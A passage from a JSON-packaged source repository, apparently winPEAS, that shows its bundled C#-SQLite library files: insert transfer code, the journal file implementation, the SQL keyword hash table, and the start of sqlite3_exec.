0, regRowid );\n        sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0,\n        \"PRIMARY KEY must be unique\", P4_STATIC );\n        sqlite3VdbeJumpHere( v, addr2 );\n        autoIncStep( pParse, regAutoinc, regRowid );\n      }\n      else if ( pDest.pIndex == null )\n      {\n        addr1 = sqlite3VdbeAddOp2( v, OP_NewRowid, iDest, regRowid );\n      }\n      else\n      {\n        addr1 = sqlite3VdbeAddOp2( v, OP_Rowid, iSrc, regRowid );\n        Debug.Assert( ( pDest.tabFlags & TF_Autoincrement ) == 0 );\n      }\n      sqlite3VdbeAddOp2( v, OP_RowData, iSrc, regData );\n      sqlite3VdbeAddOp3( v, OP_Insert, iDest, regData, regRowid );\n      sqlite3VdbeChangeP5( v, OPFLAG_NCHANGE | OPFLAG_LASTROWID | OPFLAG_APPEND );\n      sqlite3VdbeChangeP4( v, -1, pDest.zName, 0 );\n      sqlite3VdbeAddOp2( v, OP_Next, iSrc, addr1 );\n      for ( pDestIdx = pDest.pIndex ; pDestIdx != null ; pDestIdx = pDestIdx.pNext )\n      {\n        for ( pSrcIdx = pSrc.pIndex ; pSrcIdx != null ; pSrcIdx = pSrcIdx.pNext )\n        {\n          if ( xferCompatibleIndex( pDestIdx, pSrcIdx ) ) break;\n        }\n        Debug.Assert( pSrcIdx != null );\n        sqlite3VdbeAddOp2( v, OP_Close, iSrc, 0 );\n        sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 );\n        pKey = sqlite3IndexKeyinfo( pParse, pSrcIdx );\n        sqlite3VdbeAddOp4( v, OP_OpenRead, iSrc, pSrcIdx.tnum, iDbSrc,\n        pKey, P4_KEYINFO_HANDOFF );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"%s\", pSrcIdx.zName );\n#endif\n        pKey = sqlite3IndexKeyinfo( pParse, pDestIdx );\n        sqlite3VdbeAddOp4( v, OP_OpenWrite, iDest, pDestIdx.tnum, iDbDest,\n        pKey, P4_KEYINFO_HANDOFF );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"%s\", pDestIdx.zName );\n#endif\n        addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iSrc, 0 );\n        sqlite3VdbeAddOp2( v, OP_RowKey, iSrc, regData );\n        sqlite3VdbeAddOp3( v, OP_IdxInsert, iDest, regData, 1 );\n        sqlite3VdbeAddOp2( v, OP_Next, iSrc, addr1 + 1 );\n        sqlite3VdbeJumpHere( v, addr1 );\n      }\n      sqlite3VdbeJumpHere( v, emptySrcTest );\n      sqlite3ReleaseTempReg( pParse, regRowid );\n      sqlite3ReleaseTempReg( pParse, regData );\n      sqlite3VdbeAddOp2( v, OP_Close, iSrc, 0 );\n      sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 );\n      if ( emptyDestTest != 0 )\n      {\n        sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_OK, 0 );\n        sqlite3VdbeJumpHere( v, emptyDestTest );\n        sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 );\n        return 0;\n      }\n      else\n      {\n        return 1;\n      }\n    }\n#endif // * SQLITE_OMIT_XFER_OPT */\n    /* Make sure \"isView\" gets undefined in case this file becomes part of\n** the amalgamation - so that subsequent files do not see isView as a\n** macro. */\n    //#undef isView\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/journal_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2007 August 22\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** @(#) $Id: journal.c,v 1.9 2009/01/20 17:06:27 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n#if SQLITE_ENABLE_ATOMIC_WRITE\n\n/*\n** This file implements a special kind of sqlite3_file object used\n** by SQLite to create journal files if the atomic-write optimization\n** is enabled.\n**\n** The distinctive characteristic of this sqlite3_file is that the\n** actual on disk file is created lazily. When the file is created,\n** the caller specifies a buffer size for an in-memory buffer to\n** be used to service read() and write() requests. The actual file\n** on disk is not created or populated until either:\n**\n**   1) The in-memory representation grows too large for the allocated\n**      buffer, or\n**   2) The sqlite3JournalCreate() function is called.\n*/\n\n//#include \"sqliteInt.h\"\n\n\n/*\n** A JournalFile object is a subclass of sqlite3_file used by\n** as an open file handle for journal files.\n*/\nstruct JournalFile {\nsqlite3_io_methods pMethod;    /* I/O methods on journal files */\nint nBuf;                       /* Size of zBuf[] in bytes */\nchar *zBuf;                     /* Space to buffer journal writes */\nint iSize;                      /* Amount of zBuf[] currently used */\nint flags;                      /* xOpen flags */\nsqlite3_vfs pVfs;              /* The \"real\" underlying VFS */\nsqlite3_file pReal;            /* The \"real\" underlying file descriptor */\nconst char *zJournal;           /* Name of the journal file */\n};\ntypedef struct JournalFile JournalFile;\n\n/*\n** If it does not already exists, create and populate the on-disk file\n** for JournalFile p.\n*/\nstatic int createFile(JournalFile p){\nint rc = SQLITE_OK;\nif( null==p.pReal ){\nsqlite3_file pReal = (sqlite3_file *)&p[1];\nrc = sqlite3OsOpen(p.pVfs, p.zJournal, pReal, p.flags, 0);\nif( rc==SQLITE_OK ){\np.pReal = pReal;\nif( p.iSize>0 ){\nDebug.Assert(p.iSize<=p.nBuf);\nrc = sqlite3OsWrite(p.pReal, p.zBuf, p.iSize, 0);\n}\n}\n}\nreturn rc;\n}\n\n/*\n** Close the file.\n*/\nstatic int jrnlClose(sqlite3_file pJfd){\nJournalFile p = (JournalFile *)pJfd;\nif( p.pReal ){\nsqlite3OsClose(p.pReal);\n}\n//sqlite3DbFree(db,p.zBuf);\nreturn SQLITE_OK;\n}\n\n/*\n** Read data from the file.\n*/\nstatic int jrnlRead(\nsqlite3_file *pJfd,    /* The journal file from which to read */\nvoid *zBuf,            /* Put the results here */\nint iAmt,              /* Number of bytes to read */\nsqlite_int64 iOfst     /* Begin reading at this offset */\n){\nint rc = SQLITE_OK;\nJournalFile *p = (JournalFile *)pJfd;\nif( p->pReal ){\nrc = sqlite3OsRead(p->pReal, zBuf, iAmt, iOfst);\n}else if( (iAmt+iOfst)>p->iSize ){\nrc = SQLITE_IOERR_SHORT_READ;\n}else{\nmemcpy(zBuf, &p->zBuf[iOfst], iAmt);\n}\nreturn rc;\n}\n\n/*\n** Write data to the file.\n*/\nstatic int jrnlWrite(\nsqlite3_file pJfd,    /* The journal file into which to write */\nconst void *zBuf,      /* Take data to be written from here */\nint iAmt,              /* Number of bytes to write */\nsqlite_int64 iOfst     /* Begin writing at this offset into the file */\n){\nint rc = SQLITE_OK;\nJournalFile p = (JournalFile *)pJfd;\nif( null==p.pReal && (iOfst+iAmt)>p.nBuf ){\nrc = createFile(p);\n}\nif( rc==SQLITE_OK ){\nif( p.pReal ){\nrc = sqlite3OsWrite(p.pReal, zBuf, iAmt, iOfst);\n}else{\nmemcpy(p.zBuf[iOfst], zBuf, iAmt);\nif( p.iSize<(iOfst+iAmt) ){\np.iSize = (iOfst+iAmt);\n}\n}\n}\nreturn rc;\n}\n\n/*\n** Truncate the file.\n*/\nstatic int jrnlTruncate(sqlite3_file pJfd, sqlite_int64 size){\nint rc = SQLITE_OK;\nJournalFile p = (JournalFile *)pJfd;\nif( p.pReal ){\nrc = sqlite3OsTruncate(p.pReal, size);\n}else if( size<p.iSize ){\np.iSize = size;\n}\nreturn rc;\n}\n\n/*\n** Sync the file.\n*/\nstatic int jrnlSync(sqlite3_file pJfd, int flags){\nint rc;\nJournalFile p = (JournalFile *)pJfd;\nif( p.pReal ){\nrc = sqlite3OsSync(p.pReal, flags);\n}else{\nrc = SQLITE_OK;\n}\nreturn rc;\n}\n\n/*\n** Query the size of the file in bytes.\n*/\nstatic int jrnlFileSize(sqlite3_file pJfd, sqlite_int64 pSize){\nint rc = SQLITE_OK;\nJournalFile p = (JournalFile *)pJfd;\nif( p.pReal ){\nrc = sqlite3OsFileSize(p.pReal, pSize);\n}else{\npSize = (sqlite_int64) p.iSize;\n}\nreturn rc;\n}\n\n/*\n** Table of methods for JournalFile sqlite3_file object.\n*/\nstatic struct sqlite3_io_methods JournalFileMethods = {\n1,             /* iVersion */\njrnlClose,     /* xClose */\njrnlRead,      /* xRead */\njrnlWrite,     /* xWrite */\njrnlTruncate,  /* xTruncate */\njrnlSync,      /* xSync */\njrnlFileSize,  /* xFileSize */\n0,             /* xLock */\n0,             /* xUnlock */\n0,             /* xCheckReservedLock */\n0,             /* xFileControl */\n0,             /* xSectorSize */\n0              /* xDeviceCharacteristics */\n};\n\n/*\n** Open a journal file.\n*/\nint sqlite3JournalOpen(\nsqlite3_vfs pVfs,         /* The VFS to use for actual file I/O */\nconst char *zName,         /* Name of the journal file */\nsqlite3_file pJfd,        /* Preallocated, blank file handle */\nint flags,                 /* Opening flags */\nint nBuf                   /* Bytes buffered before opening the file */\n){\nJournalFile p = (JournalFile *)pJfd;\nmemset(p, 0, sqlite3JournalSize(pVfs));\nif( nBuf>0 ){\np.zBuf = sqlite3MallocZero(nBuf);\nif( null==p.zBuf ){\nreturn SQLITE_NOMEM;\n}\n}else{\nreturn sqlite3OsOpen(pVfs, zName, pJfd, flags, 0);\n}\np.pMethod = &JournalFileMethods;\np.nBuf = nBuf;\np.flags = flags;\np.zJournal = zName;\np.pVfs = pVfs;\nreturn SQLITE_OK;\n}\n\n/*\n** If the argument p points to a JournalFile structure, and the underlying\n** file has not yet been created, create it now.\n*/\nint sqlite3JournalCreate(sqlite3_file p){\nif( p.pMethods!=&JournalFileMethods ){\nreturn SQLITE_OK;\n}\nreturn createFile((JournalFile *)p);\n}\n\n/*\n** Return the number of bytes required to store a JournalFile that uses vfs\n** pVfs to create the underlying on-disk files.\n*/\nint sqlite3JournalSize(sqlite3_vfs pVfs){\nreturn (pVfs->szOsFile+sizeof(JournalFile));\n}\n#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/keywordhash_h.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /***** This file contains automatically generated code ******\n    **\n    ** The code in this file has been automatically generated by\n    **\n    **     $Header$\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    **\n    ** The code in this file implements a function that determines whether\n    ** or not a given identifier is really an SQL keyword.  The same thing\n    ** might be implemented more directly using a hand-written hash table.\n    ** But by using this automatically generated code, the size of the code\n    ** is substantially reduced.  This is important for embedded applications\n    ** on platforms with limited memory.\n    */\n    /* Hash score: 171 */\n    static int keywordCode( string z, int iOffset, int n )\n    {\n      /* zText[] encodes 801 bytes of keywords in 541 bytes */\n      /*   REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECT       */\n      /*   ABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVE         */\n      /*   XISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARY         */\n      /*   UNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKE          */\n      /*   CASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOIN        */\n      /*   SERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAME         */\n      /*   AFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSS     */\n      /*   CURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIF      */\n      /*   ISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEW         */\n      /*   INITIALLY                                                          */\n      string zText = new string( new char[540]  {\n'R','E','I','N','D','E','X','E','D','E','S','C','A','P','E','A','C','H',\n'E','C','K','E','Y','B','E','F','O','R','E','I','G','N','O','R','E','G',\n'E','X','P','L','A','I','N','S','T','E','A','D','D','A','T','A','B','A',\n'S','E','L','E','C','T','A','B','L','E','F','T','H','E','N','D','E','F',\n'E','R','R','A','B','L','E','L','S','E','X','C','E','P','T','R','A','N',\n'S','A','C','T','I','O','N','A','T','U','R','A','L','T','E','R','A','I',\n'S','E','X','C','L','U','S','I','V','E','X','I','S','T','S','A','V','E',\n'P','O','I','N','T','E','R','S','E','C','T','R','I','G','G','E','R','E',\n'F','E','R','E','N','C','E','S','C','O','N','S','T','R','A','I','N','T',\n'O','F','F','S','E','T','E','M','P','O','R','A','R','Y','U','N','I','Q',\n'U','E','R','Y','A','T','T','A','C','H','A','V','I','N','G','R','O','U',\n'P','D','A','T','E','B','E','G','I','N','N','E','R','E','L','E','A','S',\n'E','B','E','T','W','E','E','N','O','T','N','U','L','L','I','K','E','C',\n'A','S','C','A','D','E','L','E','T','E','C','A','S','E','C','O','L','L',\n'A','T','E','C','R','E','A','T','E','C','U','R','R','E','N','T','_','D',\n'A','T','E','D','E','T','A','C','H','I','M','M','E','D','I','A','T','E',\n'J','O','I','N','S','E','R','T','M','A','T','C','H','P','L','A','N','A',\n'L','Y','Z','E','P','R','A','G','M','A','B','O','R','T','V','A','L','U',\n'E','S','V','I','R','T','U','A','L','I','M','I','T','W','H','E','N','W',\n'H','E','R','E','N','A','M','E','A','F','T','E','R','E','P','L','A','C',\n'E','A','N','D','E','F','A','U','L','T','A','U','T','O','I','N','C','R',\n'E','M','E','N','T','C','A','S','T','C','O','L','U','M','N','C','O','M',\n'M','I','T','C','O','N','F','L','I','C','T','C','R','O','S','S','C','U',\n'R','R','E','N','T','_','T','I','M','E','S','T','A','M','P','R','I','M',\n'A','R','Y','D','E','F','E','R','R','E','D','I','S','T','I','N','C','T',\n'D','R','O','P','F','A','I','L','F','R','O','M','F','U','L','L','G','L',\n'O','B','Y','I','F','I','S','N','U','L','L','O','R','D','E','R','E','S',\n'T','R','I','C','T','O','U','T','E','R','I','G','H','T','R','O','L','L',\n'B','A','C','K','R','O','W','U','N','I','O','N','U','S','I','N','G','V',\n'A','C','U','U','M','V','I','E','W','I','N','I','T','I','A','L','L','Y',\n} );\n\n      byte[] aHash = {\n70,  99, 112,  68,   0,  43,   0,   0,  76,   0,  71,   0,   0,\n41,  12,  72,  15,   0, 111,  79,  49, 106,   0,  19,   0,   0,\n116,   0, 114, 109,   0,  22,  87,   0,   9,   0,   0,  64,  65,\n0,  63,   6,   0,  47,  84,  96,   0, 113,  95,   0,   0,  44,\n0,  97,  24,   0,  17,   0, 117,  48,  23,   0,   5, 104,  25,\n90,   0,   0, 119, 100,  55, 118,  52,   7,  50,   0,  85,   0,\n94,  26,   0,  93,   0,   0,   0,  89,  86,  91,  82, 103,  14,\n38, 102,   0,  75,   0,  18,  83, 105,  31,   0, 115,  74, 107,\n57,  45,  78,   0,   0,  88,  39,   0, 110,   0,  35,   0,   0,\n28,   0,  80,  53,  58,   0,  20,  56,   0,  51,\n};\n      byte[] aNext = {\n0,   0,   0,   0,   4,   0,   0,   0,   0,   0,   0,   0,   0,\n0,   2,   0,   0,   0,   0,   0,   0,  13,   0,   0,   0,   0,\n0,   0,   0,   0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n0,   0,   0,   0,  32,  21,   0,   0,   0,  42,   3,  46,   0,\n0,   0,   0,  29,   0,   0,  37,   0,   0,   0,   1,  60,   0,\n0,  61,   0,  40,   0,   0,   0,   0,   0,   0,   0,  59,   0,\n0,   0,   0,  30,  54,  16,  33,  10,   0,   0,   0,   0,   0,\n0,   0,  11,  66,  73,   0,   8,   0,  98,  92,   0, 101,   0,\n81,   0,  69,   0,   0, 108,  27,  36,  67,  77,   0,  34,  62,\n0,   0,\n};\n      byte[] aLen = {\n7,   7,   5,   4,   6,   4,   5,   3,   6,   7,   3,   6,   6,\n7,   7,   3,   8,   2,   6,   5,   4,   4,   3,  10,   4,   6,\n11,   2,   7,   5,   5,   9,   6,   9,   9,   7,  10,  10,   4,\n6,   2,   3,   4,   9,   2,   6,   5,   6,   6,   5,   6,   5,\n5,   7,   7,   7,   3,   4,   4,   7,   3,   6,   4,   7,   6,\n12,   6,   9,   4,   6,   5,   4,   7,   6,   5,   6,   7,   5,\n4,   5,   6,   5,   7,   3,   7,  13,   2,   2,   4,   6,   6,\n8,   5,  17,  12,   7,   8,   8,   2,   4,   4,   4,   4,   4,\n2,   2,   6,   5,   8,   5,   5,   8,   3,   5,   5,   6,   4,\n9,   3,\n};\n      int[] aOffset = {\n0,   2,   2,   8,   9,  14,  16,  20,  23,  25,  25,  29,  33,\n36,  41,  46,  48,  53,  54,  59,  62,  65,  67,  69,  78,  81,\n86,  95,  96, 101, 105, 109, 117, 122, 128, 136, 142, 152, 159,\n162, 162, 165, 167, 167, 171, 176, 179, 184, 189, 194, 197, 203,\n206, 210, 217, 223, 223, 226, 229, 233, 234, 238, 244, 248, 255,\n261, 273, 279, 288, 290, 296, 301, 303, 310, 315, 320, 326, 332,\n337, 341, 344, 350, 354, 361, 363, 370, 372, 374, 383, 387, 393,\n399, 407, 412, 412, 428, 435, 442, 443, 450, 454, 458, 462, 466,\n469, 471, 473, 479, 483, 491, 495, 500, 508, 511, 516, 521, 527,\n531, 536,\n};\n      byte[] aCode = {\nTK_REINDEX,    TK_INDEXED,    TK_INDEX,      TK_DESC,       TK_ESCAPE,\nTK_EACH,       TK_CHECK,      TK_KEY,        TK_BEFORE,     TK_FOREIGN,\nTK_FOR,        TK_IGNORE,     TK_LIKE_KW,    TK_EXPLAIN,    TK_INSTEAD,\nTK_ADD,        TK_DATABASE,   TK_AS,         TK_SELECT,     TK_TABLE,\nTK_JOIN_KW,    TK_THEN,       TK_END,        TK_DEFERRABLE, TK_ELSE,\nTK_EXCEPT,     TK_TRANSACTION,TK_ON,         TK_JOIN_KW,    TK_ALTER,\nTK_RAISE,      TK_EXCLUSIVE,  TK_EXISTS,     TK_SAVEPOINT,  TK_INTERSECT,\nTK_TRIGGER,    TK_REFERENCES, TK_CONSTRAINT, TK_INTO,       TK_OFFSET,\nTK_OF,         TK_SET,        TK_TEMP,       TK_TEMP,       TK_OR,\nTK_UNIQUE,     TK_QUERY,      TK_ATTACH,     TK_HAVING,     TK_GROUP,\nTK_UPDATE,     TK_BEGIN,      TK_JOIN_KW,    TK_RELEASE,    TK_BETWEEN,\nTK_NOTNULL,    TK_NOT,        TK_NULL,       TK_LIKE_KW,    TK_CASCADE,\nTK_ASC,        TK_DELETE,     TK_CASE,       TK_COLLATE,    TK_CREATE,\nTK_CTIME_KW,   TK_DETACH,     TK_IMMEDIATE,  TK_JOIN,       TK_INSERT,\nTK_MATCH,      TK_PLAN,       TK_ANALYZE,    TK_PRAGMA,     TK_ABORT,\nTK_VALUES,     TK_VIRTUAL,    TK_LIMIT,      TK_WHEN,       TK_WHERE,\nTK_RENAME,     TK_AFTER,      TK_REPLACE,    TK_AND,        TK_DEFAULT,\nTK_AUTOINCR,   TK_TO,         TK_IN,         TK_CAST,       TK_COLUMNKW,\nTK_COMMIT,     TK_CONFLICT,   TK_JOIN_KW,    TK_CTIME_KW,   TK_CTIME_KW,\nTK_PRIMARY,    TK_DEFERRED,   TK_DISTINCT,   TK_IS,         TK_DROP,\nTK_FAIL,       TK_FROM,       TK_JOIN_KW,    TK_LIKE_KW,    TK_BY,\nTK_IF,         TK_ISNULL,     TK_ORDER,      TK_RESTRICT,   TK_JOIN_KW,\nTK_JOIN_KW,    TK_ROLLBACK,   TK_ROW,        TK_UNION,      TK_USING,\nTK_VACUUM,     TK_VIEW,       TK_INITIALLY,  TK_ALL,\n};\n      int h, i;\n      if ( n < 2 ) return TK_ID;\n      h = ( ( sqlite3UpperToLower[z[iOffset + 0]] ) * 4 ^//(charMap(z[iOffset+0]) * 4) ^\n      ( sqlite3UpperToLower[z[iOffset + n - 1]] * 3 ) ^ //(charMap(z[iOffset+n - 1]) * 3) ^\n      n ) % 127;\n      for ( i = ( aHash[h] ) - 1 ; i >= 0 ; i = ( aNext[i] ) - 1 )\n      {\n        if ( aLen[i] == n && 0 == sqlite3StrNICmp( zText.ToString(), aOffset[i], z.Substring( iOffset, n ), n ) )\n        {\n          testcase( i == 0 ); /* REINDEX */\n          testcase( i == 1 ); /* INDEXED */\n          testcase( i == 2 ); /* INDEX */\n          testcase( i == 3 ); /* DESC */\n          testcase( i == 4 ); /* ESCAPE */\n          testcase( i == 5 ); /* EACH */\n          testcase( i == 6 ); /* CHECK */\n          testcase( i == 7 ); /* KEY */\n          testcase( i == 8 ); /* BEFORE */\n          testcase( i == 9 ); /* FOREIGN */\n          testcase( i == 10 ); /* FOR */\n          testcase( i == 11 ); /* IGNORE */\n          testcase( i == 12 ); /* REGEXP */\n          testcase( i == 13 ); /* EXPLAIN */\n          testcase( i == 14 ); /* INSTEAD */\n          testcase( i == 15 ); /* ADD */\n          testcase( i == 16 ); /* DATABASE */\n          testcase( i == 17 ); /* AS */\n          testcase( i == 18 ); /* SELECT */\n          testcase( i == 19 ); /* TABLE */\n          testcase( i == 20 ); /* LEFT */\n          testcase( i == 21 ); /* THEN */\n          testcase( i == 22 ); /* END */\n          testcase( i == 23 ); /* DEFERRABLE */\n          testcase( i == 24 ); /* ELSE */\n          testcase( i == 25 ); /* EXCEPT */\n          testcase( i == 26 ); /* TRANSACTION */\n          testcase( i == 27 ); /* ON */\n          testcase( i == 28 ); /* NATURAL */\n          testcase( i == 29 ); /* ALTER */\n          testcase( i == 30 ); /* RAISE */\n          testcase( i == 31 ); /* EXCLUSIVE */\n          testcase( i == 32 ); /* EXISTS */\n          testcase( i == 33 ); /* SAVEPOINT */\n          testcase( i == 34 ); /* INTERSECT */\n          testcase( i == 35 ); /* TRIGGER */\n          testcase( i == 36 ); /* REFERENCES */\n          testcase( i == 37 ); /* CONSTRAINT */\n          testcase( i == 38 ); /* INTO */\n          testcase( i == 39 ); /* OFFSET */\n          testcase( i == 40 ); /* OF */\n          testcase( i == 41 ); /* SET */\n          testcase( i == 42 ); /* TEMP */\n          testcase( i == 43 ); /* TEMPORARY */\n          testcase( i == 44 ); /* OR */\n          testcase( i == 45 ); /* UNIQUE */\n          testcase( i == 46 ); /* QUERY */\n          testcase( i == 47 ); /* ATTACH */\n          testcase( i == 48 ); /* HAVING */\n          testcase( i == 49 ); /* GROUP */\n          testcase( i == 50 ); /* UPDATE */\n          testcase( i == 51 ); /* BEGIN */\n          testcase( i == 52 ); /* INNER */\n          testcase( i == 53 ); /* RELEASE */\n          testcase( i == 54 ); /* BETWEEN */\n          testcase( i == 55 ); /* NOTNULL */\n          testcase( i == 56 ); /* NOT */\n          testcase( i == 57 ); /* NULL */\n          testcase( i == 58 ); /* LIKE */\n          testcase( i == 59 ); /* CASCADE */\n          testcase( i == 60 ); /* ASC */\n          testcase( i == 61 ); /* DELETE */\n          testcase( i == 62 ); /* CASE */\n          testcase( i == 63 ); /* COLLATE */\n          testcase( i == 64 ); /* CREATE */\n          testcase( i == 65 ); /* CURRENT_DATE */\n          testcase( i == 66 ); /* DETACH */\n          testcase( i == 67 ); /* IMMEDIATE */\n          testcase( i == 68 ); /* JOIN */\n          testcase( i == 69 ); /* INSERT */\n          testcase( i == 70 ); /* MATCH */\n          testcase( i == 71 ); /* PLAN */\n          testcase( i == 72 ); /* ANALYZE */\n          testcase( i == 73 ); /* PRAGMA */\n          testcase( i == 74 ); /* ABORT */\n          testcase( i == 75 ); /* VALUES */\n          testcase( i == 76 ); /* VIRTUAL */\n          testcase( i == 77 ); /* LIMIT */\n          testcase( i == 78 ); /* WHEN */\n          testcase( i == 79 ); /* WHERE */\n          testcase( i == 80 ); /* RENAME */\n          testcase( i == 81 ); /* AFTER */\n          testcase( i == 82 ); /* REPLACE */\n          testcase( i == 83 ); /* AND */\n          testcase( i == 84 ); /* DEFAULT */\n          testcase( i == 85 ); /* AUTOINCREMENT */\n          testcase( i == 86 ); /* TO */\n          testcase( i == 87 ); /* IN */\n          testcase( i == 88 ); /* CAST */\n          testcase( i == 89 ); /* COLUMN */\n          testcase( i == 90 ); /* COMMIT */\n          testcase( i == 91 ); /* CONFLICT */\n          testcase( i == 92 ); /* CROSS */\n          testcase( i == 93 ); /* CURRENT_TIMESTAMP */\n          testcase( i == 94 ); /* CURRENT_TIME */\n          testcase( i == 95 ); /* PRIMARY */\n          testcase( i == 96 ); /* DEFERRED */\n          testcase( i == 97 ); /* DISTINCT */\n          testcase( i == 98 ); /* IS */\n          testcase( i == 99 ); /* DROP */\n          testcase( i == 100 ); /* FAIL */\n          testcase( i == 101 ); /* FROM */\n          testcase( i == 102 ); /* FULL */\n          testcase( i == 103 ); /* GLOB */\n          testcase( i == 104 ); /* BY */\n          testcase( i == 105 ); /* IF */\n          testcase( i == 106 ); /* ISNULL */\n          testcase( i == 107 ); /* ORDER */\n          testcase( i == 108 ); /* RESTRICT */\n          testcase( i == 109 ); /* OUTER */\n          testcase( i == 110 ); /* RIGHT */\n          testcase( i == 111 ); /* ROLLBACK */\n          testcase( i == 112 ); /* ROW */\n          testcase( i == 113 ); /* UNION */\n          testcase( i == 114 ); /* USING */\n          testcase( i == 115 ); /* VACUUM */\n          testcase( i == 116 ); /* VIEW */\n          testcase( i == 117 ); /* INITIALLY */\n          testcase( i == 118 ); /* ALL */\n          return aCode[i];\n        }\n      }\n      return TK_ID;\n    }\n    static int sqlite3KeywordCode( string z, int n )\n    {\n      return keywordCode( z, 0, n );\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/legacy_c.cs",
    "content": "using System.Diagnostics;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_callback = CSSQLite.dxCallback;\n  using sqlite3_stmt = CSSQLite.Vdbe;\n\n  public partial class CSSQLite\n  {\n\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** Main file for the SQLite library.  The routines in this file\n    ** implement the programmer interface to the library.  Routines in\n    ** other files are for internal use by SQLite and should not be\n    ** accessed by users of the library.\n    **\n    ** $Id: legacy.c,v 1.35 2009/08/07 16:56:00 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Execute SQL code.  Return one of the SQLITE_ success/failure\n    ** codes.  Also write an error message into memory obtained from\n    ** malloc() and make pzErrMsg point to that message.\n    **\n    ** If the SQL is a query, then for each row in the query result\n    ** the xCallback() function is called.  pArg becomes the first\n    ** argument to xCallback().  If xCallback=NULL then no callback\n    ** is invoked, even for queries.\n    */\n    //OVERLOADS\n\n    public static int sqlite3_exec(\n    sqlite3 db,             /* The database on which the SQL executes */\n    string zSql,            /* The SQL to be executed */\n    int NoCallback, int NoArgs, int NoErrors\n    )\n    {\n      string Errors = \"\";\n      return sqlite3_exec( db, zSql, null, null, ref Errors );\n    }\n\n    public static int sqlite3_exec(\n    sqlite3 db,             /* The database on which the SQL executes */\n    string zSql,                /* The SQL to be executed */\n    sqlite3_callback xCallback, /* Invoke this callback routine */\n    object pArg,                /* First argument to xCallback() */\n    int NoErrors\n    )\n    {\n      string Errors = \"\";\n      return sqlite3_exec( db, zSql, xCallback, pArg, ref Errors );\n    }\n    public static int sqlite3_exec(\n    sqlite3 db,             /* The database on which the SQL executes */\n    string zSql,                /* The SQL to be executed */\n    sqlite3_callback xCallback, /* Invoke this callback routine */\n    object pArg,                /* First argument to xCallback() */\n    ref string pzErrMsg         /* Write error messages here */\n    )\n    {\n\n      int rc = SQLITE_OK;         /* Return code */\n      string zLeftover = \"\";      /* Tail of unprocessed SQL */\n      sqlite3_stmt pStmt = null;  /* The current SQL statement */\n      string[] azCols = null;     /* Names of result columns */\n      int nRetry = 0;             /* Number of retry attempts */\n      int callbackIsInit;         /* True if callback data is initialized */\n\n      if ( zSql == null ) zSql = \"\";\n\n      sqlite3_mutex_enter( db.mutex );\n      sqlite3Error( db, SQLITE_OK, 0 );\n      while ( ( rc == SQLITE_OK || ( rc == SQLITE_SCHEMA && ( ++nRetry ) < 2 ) ) && zSql != \"\" )\n      {\n        int nCol;\n        string[] azVals = null;\n\n        pStmt = null;\n        rc = sqlite3_prepare( db, zSql, -1, ref pStmt, ref zLeftover );\n        Debug.Assert( rc == SQLITE_OK || pStmt == null );\n        if ( rc != SQLITE_OK )\n        {\n          continue;\n        }\n        if ( pStmt == null )\n        {\n          /* this happens for a comment or white-space */\n          zSql = zLeftover;\n          continue;\n        }\n\n        callbackIsInit = 0;\n        nCol = sqlite3_column_count( pStmt );\n\n        while ( true )\n        {\n          int i;\n          rc = sqlite3_step( pStmt );\n\n          /* Invoke the callback function if required */\n          if ( xCallback != null && ( SQLITE_ROW == rc ||\n          ( SQLITE_DONE == rc && callbackIsInit == 0\n          && ( db.flags & SQLITE_NullCallback ) != 0 ) ) )\n          {\n            if ( 0 == callbackIsInit )\n            {\n              azCols = new string[nCol];//sqlite3DbMallocZero(db, 2*nCol*sizeof(const char*) + 1);\n              if ( azCols == null )\n              {\n                goto 